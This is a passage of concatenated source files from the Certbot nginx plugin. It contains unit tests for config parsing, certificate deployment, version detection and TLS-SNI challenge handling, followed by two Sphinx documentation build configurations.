            ['listen', '443'], ['ssl', 'off']
        ])
        self.assertFalse(server['ssl'])

        server = parser.parse_server([
            ['listen', '443'], ['ssl', 'on']
        ])
        self.assertTrue(server['ssl'])

    def test_ssl_options_should_be_parsed_ssl_directives(self):
        nparser = parser.NginxParser(self.config_path, self.ssl_options)
        self.assertEqual(nginxparser.UnspacedList(nparser.loc["ssl_options"]),
                         [['ssl_session_cache', 'shared:le_nginx_SSL:1m'],
                          ['ssl_session_timeout', '1440m'],
                          ['ssl_protocols', 'TLSv1 TLSv1.1 TLSv1.2'],
                          ['ssl_prefer_server_ciphers', 'on'],
                          ['ssl_ciphers', '"ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-ECDSA-'+
                           'AES256-GCM-SHA384 ECDHE-ECDSA-AES128-SHA ECDHE-ECDSA-AES256'+
                           '-SHA ECDHE-ECDSA-AES128-SHA256 ECDHE-ECDSA-AES256-SHA384'+
                           ' ECDHE-RSA-AES128-GCM-SHA256 ECDHE-RSA-AES256-GCM-SHA384'+
                           ' ECDHE-RSA-AES128-SHA ECDHE-RSA-AES128-SHA256 ECDHE-RSA-'+
                           'AES256-SHA384 DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES256-GCM'+
                           '-SHA384 DHE-RSA-AES128-SHA DHE-RSA-AES256-SHA DHE-RSA-'+
                           'AES128-SHA256 DHE-RSA-AES256-SHA256 EDH-RSA-DES-CBC3-SHA"']
                         ])

if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Certbot Nginx Tests"""






# pylint: disable=too-many-public-methods
"""Test for certbot_nginx.configurator."""
import os
import shutil
import unittest

import mock
import OpenSSL

from acme import challenges
from acme import messages

from certbot import achallenges
from certbot import errors

from certbot_nginx import parser
from certbot_nginx.tests import util


class NginxConfiguratorTest(util.NginxTest):
    """Test a semi complex vhost configuration."""

    def setUp(self):
        super(NginxConfiguratorTest, self).setUp()

        self.config = util.get_nginx_configurator(
            self.config_path, self.config_dir, self.work_dir)

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    @mock.patch("certbot_nginx.configurator.util.exe_exists")
    def test_prepare_no_install(self, mock_exe_exists):
        mock_exe_exists.return_value = False
        self.assertRaises(
            errors.NoInstallationError, self.config.prepare)

    def test_prepare(self):
        self.assertEqual((1, 6, 2), self.config.version)
        self.assertEqual(5, len(self.config.parser.parsed))
        # ensure we successfully parsed a file for ssl_options
        self.assertTrue(self.config.parser.loc["ssl_options"])

    @mock.patch("certbot_nginx.configurator.util.exe_exists")
    @mock.patch("certbot_nginx.configurator.subprocess.Popen")
    def test_prepare_initializes_version(self, mock_popen, mock_exe_exists):
        mock_popen().communicate.return_value = (
            "", "\n".join(["nginx version: nginx/1.6.2",
                           "built by clang 6.0 (clang-600.0.56)"
                           " (based on LLVM 3.5svn)",
                           "TLS SNI support enabled",
                           "configure arguments: --prefix=/usr/local/Cellar/"
                           "nginx/1.6.2 --with-http_ssl_module"]))

        mock_exe_exists.return_value = True

        self.config.version = None
        self.config.config_test = mock.Mock()
        self.config.prepare()
        self.assertEqual((1, 6, 2), self.config.version)

    @mock.patch("certbot_nginx.configurator.socket.gethostbyaddr")
    def test_get_all_names(self, mock_gethostbyaddr):
        mock_gethostbyaddr.return_value = ('155.225.50.69.nephoscale.net', [], [])
        names = self.config.get_all_names()
        self.assertEqual(names, set(
            ["*.www.foo.com", "somename", "another.alias",
             "alias", "localhost", ".example.com", r"~^(www\.)?(example|bar)\.",
             "155.225.50.69.nephoscale.net", "*.www.example.com",
             "example.*", "www.example.org", "myhost"]))

    def test_supported_enhancements(self):
        self.assertEqual(['redirect'], self.config.supported_enhancements())

    def test_enhance(self):
        self.assertRaises(
            errors.PluginError, self.config.enhance, 'myhost', 'unknown_enhancement')

    def test_get_chall_pref(self):
        self.assertEqual([challenges.TLSSNI01],
                         self.config.get_chall_pref('myhost'))

    def test_save(self):
        filep = self.config.parser.abs_path('sites-enabled/example.com')
        self.config.parser.add_server_directives(
            filep, set(['.example.com', 'example.*']),
            [['listen', ' ', '5001 ssl']],
            replace=False)
        self.config.save()

        # pylint: disable=protected-access
        parsed = self.config.parser._parse_files(filep, override=True)
        self.assertEqual([[['server'],
                           [['listen', '69.50.225.155:9000'],
                            ['listen', '127.0.0.1'],
                            ['server_name', '.example.com'],
                            ['server_name', 'example.*'],
                            ['listen', '5001 ssl'],
                            ['#', parser.COMMENT]]]],
                         parsed[0])

    def test_choose_vhost(self):
        localhost_conf = set(['localhost', r'~^(www\.)?(example|bar)\.'])
        server_conf = set(['somename', 'another.alias', 'alias'])
        example_conf = set(['.example.com', 'example.*'])
        foo_conf = set(['*.www.foo.com', '*.www.example.com'])

        results = {'localhost': localhost_conf,
                   'alias': server_conf,
                   'example.com': example_conf,
                   'example.com.uk.test': example_conf,
                   'www.example.com': example_conf,
                   'test.www.example.com': foo_conf,
                   'abc.www.foo.com': foo_conf,
                   'www.bar.co.uk': localhost_conf}

        conf_path = {'localhost': "etc_nginx/nginx.conf",
                   'alias': "etc_nginx/nginx.conf",
                   'example.com': "etc_nginx/sites-enabled/example.com",
                   'example.com.uk.test': "etc_nginx/sites-enabled/example.com",
                   'www.example.com': "etc_nginx/sites-enabled/example.com",
                   'test.www.example.com': "etc_nginx/foo.conf",
                   'abc.www.foo.com': "etc_nginx/foo.conf",
                   'www.bar.co.uk': "etc_nginx/nginx.conf"}

        bad_results = ['www.foo.com', 'example', 't.www.bar.co',
                       '69.255.225.155']

        for name in results:
            vhost = self.config.choose_vhost(name)
            path = os.path.relpath(vhost.filep, self.temp_dir)

            self.assertEqual(results[name], vhost.names)
            self.assertEqual(conf_path[name], path)

        for name in bad_results:
            self.assertEqual(set([name]), self.config.choose_vhost(name).names)

    def test_more_info(self):
        self.assertTrue('nginx.conf' in self.config.more_info())

    def test_deploy_cert_stapling(self):
        # Choose a version of Nginx greater than 1.3.7 so stapling code gets
        # invoked.
        self.config.version = (1, 9, 6)
        example_conf = self.config.parser.abs_path('sites-enabled/example.com')
        self.config.deploy_cert(
            "www.example.com",
            "example/cert.pem",
            "example/key.pem",
            "example/chain.pem",
            "example/fullchain.pem")
        self.config.save()
        self.config.parser.load()
        generated_conf = self.config.parser.parsed[example_conf]

        self.assertTrue(util.contains_at_depth(generated_conf,
                                               ['ssl_stapling', 'on'], 2))
        self.assertTrue(util.contains_at_depth(generated_conf,
                                               ['ssl_stapling_verify', 'on'], 2))
        self.assertTrue(util.contains_at_depth(generated_conf,
                                               ['ssl_trusted_certificate', 'example/chain.pem'], 2))

    def test_deploy_cert_stapling_requires_chain_path(self):
        self.config.version = (1, 3, 7)
        self.assertRaises(errors.PluginError, self.config.deploy_cert,
            "www.example.com",
            "example/cert.pem",
            "example/key.pem",
            None,
            "example/fullchain.pem")

    def test_deploy_cert_requires_fullchain_path(self):
        self.config.version = (1, 3, 1)
        self.assertRaises(errors.PluginError, self.config.deploy_cert,
            "www.example.com",
            "example/cert.pem",
            "example/key.pem",
            "example/chain.pem",
            None)

    def test_deploy_cert(self):
        server_conf = self.config.parser.abs_path('server.conf')
        nginx_conf = self.config.parser.abs_path('nginx.conf')
        example_conf = self.config.parser.abs_path('sites-enabled/example.com')
        # Choose a version of Nginx less than 1.3.7 so stapling code doesn't get
        # invoked.
        self.config.version = (1, 3, 1)

        # Get the default SSL vhost
        self.config.deploy_cert(
            "www.example.com",
            "example/cert.pem",
            "example/key.pem",
            "example/chain.pem",
            "example/fullchain.pem")
        self.config.deploy_cert(
            "another.alias",
            "/etc/nginx/cert.pem",
            "/etc/nginx/key.pem",
            "/etc/nginx/chain.pem",
            "/etc/nginx/fullchain.pem")
        self.config.save()

        self.config.parser.load()

        parsed_example_conf = util.filter_comments(self.config.parser.parsed[example_conf])
        parsed_server_conf = util.filter_comments(self.config.parser.parsed[server_conf])
        parsed_nginx_conf = util.filter_comments(self.config.parser.parsed[nginx_conf])

        self.assertEqual([[['server'],
                           [
                            ['listen', '69.50.225.155:9000'],
                            ['listen', '127.0.0.1'],
                            ['server_name', '.example.com'],
                            ['server_name', 'example.*'],

                            ['listen', '5001 ssl'],
                            ['ssl_certificate', 'example/fullchain.pem'],
                            ['ssl_certificate_key', 'example/key.pem']] +
                            util.filter_comments(self.config.parser.loc["ssl_options"])
                            ]],
                         parsed_example_conf)
        self.assertEqual([['server_name', 'somename  alias  another.alias']],
                         parsed_server_conf)
        self.assertTrue(util.contains_at_depth(
            parsed_nginx_conf,
            [['server'],
             [
              ['listen', '8000'],
              ['listen', 'somename:8080'],
              ['include', 'server.conf'],
              [['location', '/'],
               [['root', 'html'],
                ['index', 'index.html index.htm']]],
              ['listen', '5001 ssl'],
              ['ssl_certificate', '/etc/nginx/fullchain.pem'],
              ['ssl_certificate_key', '/etc/nginx/key.pem']] +
             util.filter_comments(self.config.parser.loc["ssl_options"])
            ],
            2))

    def test_get_all_certs_keys(self):
        nginx_conf = self.config.parser.abs_path('nginx.conf')
        example_conf = self.config.parser.abs_path('sites-enabled/example.com')

        # Get the default SSL vhost
        self.config.deploy_cert(
            "www.example.com",
            "example/cert.pem",
            "example/key.pem",
            "example/chain.pem",
            "example/fullchain.pem")
        self.config.deploy_cert(
            "another.alias",
            "/etc/nginx/cert.pem",
            "/etc/nginx/key.pem",
            "/etc/nginx/chain.pem",
            "/etc/nginx/fullchain.pem")
        self.config.save()

        self.config.parser.load()
        self.assertEqual(set([
            ('example/fullchain.pem', 'example/key.pem', example_conf),
            ('/etc/nginx/fullchain.pem', '/etc/nginx/key.pem', nginx_conf),
        ]), self.config.get_all_certs_keys())

    @mock.patch("certbot_nginx.configurator.tls_sni_01.NginxTlsSni01.perform")
    @mock.patch("certbot_nginx.configurator.NginxConfigurator.restart")
    @mock.patch("certbot_nginx.configurator.NginxConfigurator.revert_challenge_config")
    def test_perform_and_cleanup(self, mock_revert, mock_restart, mock_perform):
        # Only tests functionality specific to configurator.perform
        # Note: As more challenges are offered this will have to be expanded
        achall1 = achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=messages.ChallengeBody(
                chall=challenges.TLSSNI01(token="kNdwjwOeX0I_A8DXt9Msmg"),
                uri="https://ca.org/chall0_uri",
                status=messages.Status("pending"),
            ), domain="localhost", account_key=self.rsa512jwk)
        achall2 = achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=messages.ChallengeBody(
                chall=challenges.TLSSNI01(token="m8TdO1qik4JVFtgPPurJmg"),
                uri="https://ca.org/chall1_uri",
                status=messages.Status("pending"),
            ), domain="example.com", account_key=self.rsa512jwk)

        expected = [
            achall1.response(self.rsa512jwk),
            achall2.response(self.rsa512jwk),
        ]

        mock_perform.return_value = expected
        responses = self.config.perform([achall1, achall2])

        self.assertEqual(mock_perform.call_count, 1)
        self.assertEqual(responses, expected)

        self.config.cleanup([achall1, achall2])
        self.assertEqual(0, self.config._chall_out) # pylint: disable=protected-access
        self.assertEqual(mock_revert.call_count, 1)
        self.assertEqual(mock_restart.call_count, 2)

    @mock.patch("certbot_nginx.configurator.subprocess.Popen")
    def test_get_version(self, mock_popen):
        mock_popen().communicate.return_value = (
            "", "\n".join(["nginx version: nginx/1.4.2",
                           "built by clang 6.0 (clang-600.0.56)"
                           " (based on LLVM 3.5svn)",
                           "TLS SNI support enabled",
                           "configure arguments: --prefix=/usr/local/Cellar/"
                           "nginx/1.6.2 --with-http_ssl_module"]))
        self.assertEqual(self.config.get_version(), (1, 4, 2))

        mock_popen().communicate.return_value = (
            "", "\n".join(["nginx version: nginx/0.9",
                           "built by clang 6.0 (clang-600.0.56)"
                           " (based on LLVM 3.5svn)",
                           "TLS SNI support enabled",
                           "configure arguments: --with-http_ssl_module"]))
        self.assertEqual(self.config.get_version(), (0, 9))

        mock_popen().communicate.return_value = (
            "", "\n".join(["blah 0.0.1",
                           "built by clang 6.0 (clang-600.0.56)"
                           " (based on LLVM 3.5svn)",
                           "TLS SNI support enabled",
                           "configure arguments: --with-http_ssl_module"]))
        self.assertRaises(errors.PluginError, self.config.get_version)

        mock_popen().communicate.return_value = (
            "", "\n".join(["nginx version: nginx/1.4.2",
                           "TLS SNI support enabled"]))
        self.assertRaises(errors.PluginError, self.config.get_version)

        mock_popen().communicate.return_value = (
            "", "\n".join(["nginx version: nginx/1.4.2",
                           "built by clang 6.0 (clang-600.0.56)"
                           " (based on LLVM 3.5svn)",
                           "configure arguments: --with-http_ssl_module"]))
        self.assertRaises(errors.PluginError, self.config.get_version)

        mock_popen().communicate.return_value = (
            "", "\n".join(["nginx version: nginx/0.8.1",
                           "built by clang 6.0 (clang-600.0.56)"
                           " (based on LLVM 3.5svn)",
                           "TLS SNI support enabled",
                           "configure arguments: --with-http_ssl_module"]))
        self.assertRaises(errors.NotSupportedError, self.config.get_version)

        mock_popen.side_effect = OSError("Can't find program")
        self.assertRaises(errors.PluginError, self.config.get_version)

    @mock.patch("certbot_nginx.configurator.subprocess.Popen")
    def test_nginx_restart(self, mock_popen):
        mocked = mock_popen()
        mocked.communicate.return_value = ('', '')
        mocked.returncode = 0
        self.config.restart()

    @mock.patch("certbot_nginx.configurator.subprocess.Popen")
    def test_nginx_restart_fail(self, mock_popen):
        mocked = mock_popen()
        mocked.communicate.return_value = ('', '')
        mocked.returncode = 1
        self.assertRaises(errors.MisconfigurationError, self.config.restart)

    @mock.patch("certbot_nginx.configurator.subprocess.Popen")
    def test_no_nginx_start(self, mock_popen):
        mock_popen.side_effect = OSError("Can't find program")
        self.assertRaises(errors.MisconfigurationError, self.config.restart)

    @mock.patch("certbot.util.run_script")
    def test_config_test(self, _):
        self.config.config_test()

    @mock.patch("certbot.util.run_script")
    def test_config_test_bad_process(self, mock_run_script):
        mock_run_script.side_effect = errors.SubprocessError
        self.assertRaises(errors.MisconfigurationError, self.config.config_test)

    @mock.patch("certbot.reverter.Reverter.recovery_routine")
    def test_recovery_routine_throws_error_from_reverter(self, mock_recovery_routine):
        mock_recovery_routine.side_effect = errors.ReverterError("foo")
        self.assertRaises(errors.PluginError, self.config.recovery_routine)

    @mock.patch("certbot.reverter.Reverter.view_config_changes")
    def test_view_config_changes_throws_error_from_reverter(self, mock_view_config_changes):
        mock_view_config_changes.side_effect = errors.ReverterError("foo")
        self.assertRaises(errors.PluginError, self.config.view_config_changes)

    @mock.patch("certbot.reverter.Reverter.rollback_checkpoints")
    def test_rollback_checkpoints_throws_error_from_reverter(self, mock_rollback_checkpoints):
        mock_rollback_checkpoints.side_effect = errors.ReverterError("foo")
        self.assertRaises(errors.PluginError, self.config.rollback_checkpoints)

    @mock.patch("certbot.reverter.Reverter.revert_temporary_config")
    def test_revert_challenge_config_throws_error_from_reverter(self, mock_revert_temporary_config):
        mock_revert_temporary_config.side_effect = errors.ReverterError("foo")
        self.assertRaises(errors.PluginError, self.config.revert_challenge_config)

    @mock.patch("certbot.reverter.Reverter.add_to_checkpoint")
    def test_save_throws_error_from_reverter(self, mock_add_to_checkpoint):
        mock_add_to_checkpoint.side_effect = errors.ReverterError("foo")
        self.assertRaises(errors.PluginError, self.config.save)

    def test_get_snakeoil_paths(self):
        # pylint: disable=protected-access
        cert, key = self.config._get_snakeoil_paths()
        self.assertTrue(os.path.exists(cert))
        self.assertTrue(os.path.exists(key))
        with open(cert) as cert_file:
            OpenSSL.crypto.load_certificate(
                OpenSSL.crypto.FILETYPE_PEM, cert_file.read())
        with open(key) as key_file:
            OpenSSL.crypto.load_privatekey(
                OpenSSL.crypto.FILETYPE_PEM, key_file.read())

    def test_redirect_enhance(self):
        expected = [
            ['if', '($scheme != "https") '],
            [['return', '301 https://$host$request_uri']]
        ]

        example_conf = self.config.parser.abs_path('sites-enabled/example.com')
        self.config.enhance("www.example.com", "redirect")

        generated_conf = self.config.parser.parsed[example_conf]
        self.assertTrue(util.contains_at_depth(generated_conf, expected, 2))

if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot_nginx.tls_sni_01"""
import unittest
import shutil

import mock

from acme import challenges

from certbot import achallenges
from certbot import errors

from certbot.plugins import common_test
from certbot.tests import acme_util

from certbot_nginx import obj
from certbot_nginx.tests import util


class TlsSniPerformTest(util.NginxTest):
    """Test the NginxTlsSni01 challenge."""

    account_key = common_test.TLSSNI01Test.auth_key
    achalls = [
        achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.chall_to_challb(
                challenges.TLSSNI01(token="kNdwjwOeX0I_A8DXt9Msmg"), "pending"),
            domain="www.example.com", account_key=account_key),
        achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.chall_to_challb(
                challenges.TLSSNI01(
                    token="\xba\xa9\xda?<m\xaewmx\xea\xad\xadv\xf4\x02\xc9y"
                          "\x80\xe2_X\t\xe7\xc7\xa4\t\xca\xf7&\x945"
                ), "pending"),
            domain="blah", account_key=account_key),
        achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=acme_util.chall_to_challb(
                challenges.TLSSNI01(
                    token="\x8c\x8a\xbf_-f\\cw\xee\xd6\xf8/\xa5\xe3\xfd"
                          "\xeb9\xf1\xf5\xb9\xefVM\xc9w\xa4u\x9c\xe1\x87\xb4"
                ), "pending"),
            domain="www.example.org", account_key=account_key),
    ]

    def setUp(self):
        super(TlsSniPerformTest, self).setUp()

        config = util.get_nginx_configurator(
            self.config_path, self.config_dir, self.work_dir)

        from certbot_nginx import tls_sni_01
        self.sni = tls_sni_01.NginxTlsSni01(config)

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    @mock.patch("certbot_nginx.configurator"
                ".NginxConfigurator.choose_vhost")
    def test_perform(self, mock_choose):
        self.sni.add_chall(self.achalls[1])
        mock_choose.return_value = None
        result = self.sni.perform()
        self.assertTrue(result is None)

    def test_perform0(self):
        responses = self.sni.perform()
        self.assertEqual([], responses)

    @mock.patch("certbot_nginx.configurator.NginxConfigurator.save")
    def test_perform1(self, mock_save):
        self.sni.add_chall(self.achalls[0])
        response = self.achalls[0].response(self.account_key)
        mock_setup_cert = mock.MagicMock(return_value=response)

        # pylint: disable=protected-access
        self.sni._setup_challenge_cert = mock_setup_cert

        responses = self.sni.perform()

        mock_setup_cert.assert_called_once_with(self.achalls[0])
        self.assertEqual([response], responses)
        self.assertEqual(mock_save.call_count, 1)

        # Make sure challenge config is included in main config
        http = self.sni.configurator.parser.parsed[
            self.sni.configurator.parser.loc["root"]][-1]
        self.assertTrue(
            util.contains_at_depth(http, ['include', self.sni.challenge_conf], 1))

    def test_perform2(self):
        acme_responses = []
        for achall in self.achalls:
            self.sni.add_chall(achall)
            acme_responses.append(achall.response(self.account_key))

        mock_setup_cert = mock.MagicMock(side_effect=acme_responses)
        # pylint: disable=protected-access
        self.sni._setup_challenge_cert = mock_setup_cert

        sni_responses = self.sni.perform()

        self.assertEqual(mock_setup_cert.call_count, 3)

        for index, achall in enumerate(self.achalls):
            self.assertEqual(
                mock_setup_cert.call_args_list[index], mock.call(achall))

        http = self.sni.configurator.parser.parsed[
            self.sni.configurator.parser.loc["root"]][-1]
        self.assertTrue(['include', self.sni.challenge_conf] in http[1])
        self.assertTrue(
            util.contains_at_depth(http, ['server_name', 'blah'], 3))

        self.assertEqual(len(sni_responses), 3)
        for i in xrange(3):
            self.assertEqual(sni_responses[i], acme_responses[i])

    def test_mod_config(self):
        self.sni.add_chall(self.achalls[0])
        self.sni.add_chall(self.achalls[2])

        v_addr1 = [obj.Addr("69.50.225.155", "9000", True, False),
                   obj.Addr("127.0.0.1", "", False, False)]
        v_addr2 = [obj.Addr("myhost", "", False, True)]
        ll_addr = [v_addr1, v_addr2]
        self.sni._mod_config(ll_addr)  # pylint: disable=protected-access

        self.sni.configurator.save()

        self.sni.configurator.parser.load()

        http = self.sni.configurator.parser.parsed[
            self.sni.configurator.parser.loc["root"]][-1]
        self.assertTrue(['include', self.sni.challenge_conf] in http[1])

        vhosts = self.sni.configurator.parser.get_vhosts()
        vhs = [vh for vh in vhosts if vh.filep == self.sni.challenge_conf]

        for vhost in vhs:
            if vhost.addrs == set(v_addr1):
                response = self.achalls[0].response(self.account_key)
            else:
                response = self.achalls[2].response(self.account_key)
                self.assertEqual(vhost.addrs, set(v_addr2))
            self.assertEqual(vhost.names, set([response.z_domain]))

        self.assertEqual(len(vhs), 2)

    def test_mod_config_fail(self):
        root = self.sni.configurator.parser.loc["root"]
        self.sni.configurator.parser.parsed[root] = [['include', 'foo.conf']]
        # pylint: disable=protected-access
        self.assertRaises(
            errors.MisconfigurationError, self.sni._mod_config, [])

if __name__ == "__main__":
    unittest.main()  # pragma: no cover






# -*- coding: utf-8 -*-
#
# certbot-nginx documentation build configuration file, created by
# sphinx-quickstart on Sun Oct 18 13:39:39 2015.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os
import shlex


here = os.path.abspath(os.path.dirname(__file__))

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath(os.path.join(here, '..')))

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.coverage',
    'sphinx.ext.viewcode',
]

autodoc_member_order = 'bysource'
autodoc_default_flags = ['show-inheritance', 'private-members']

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'certbot-nginx'
copyright = u'2014-2015, Let\'s Encrypt Project'
author = u'Let\'s Encrypt Project'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0'
# The full version, including alpha/beta/rc tags.
release = '0'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = 'en'

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
default_role = 'py:obj'

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.

# http://docs.readthedocs.org/en/latest/theme.html#how-do-i-use-this-locally-and-on-read-the-docs
# on_rtd is whether we are on readthedocs.org
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd:  # only import and set the theme if we're building docs locally
    import sphinx_rtd_theme
    html_theme = 'sphinx_rtd_theme'
    html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
# otherwise, readthedocs.org uses their theme by default, so no need to specify it

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'certbot-nginxdoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
    # The paper size ('letterpaper' or 'a4paper').
    #'papersize': 'letterpaper',

    # The font size ('10pt', '11pt' or '12pt').
    #'pointsize': '10pt',

    # Additional stuff for the LaTeX preamble.
    #'preamble': '',

    # Latex figure (float) alignment
    #'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'certbot-nginx.tex', u'certbot-nginx Documentation',
     u'Let\'s Encrypt Project', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'certbot-nginx', u'certbot-nginx Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'certbot-nginx', u'certbot-nginx Documentation',
     author, 'certbot-nginx', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False


intersphinx_mapping = {
    'python': ('https://docs.python.org/', None),
    'acme': ('https://acme-python.readthedocs.org/en/latest/', None),
    'certbot': ('https://certbot.eff.org/docs/', None),
}






# -*- coding: utf-8 -*-
#
# Certbot documentation build configuration file, created by
# sphinx-quickstart on Sun Nov 23 20:35:21 2014.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import codecs
import os
import re
import sys


here = os.path.abspath(os.path.dirname(__file__))

# read version number (and other metadata) from package init
init_fn = os.path.join(here, '..', 'certbot', '__init__.py')
with codecs.open(init_fn, encoding='utf8') as fd:
    meta = dict(re.findall(r"""__([a-z]+)__ = '([^']+)""", fd.read()))

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath(os.path.join(here, '..')))

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.coverage',
    'sphinx.ext.viewcode',
    'repoze.sphinx.autointerface',
    'sphinxcontrib.programoutput',
]

autodoc_member_order = 'bysource'
autodoc_default_flags = ['show-inheritance', 'private-members']

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix of source filenames.
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

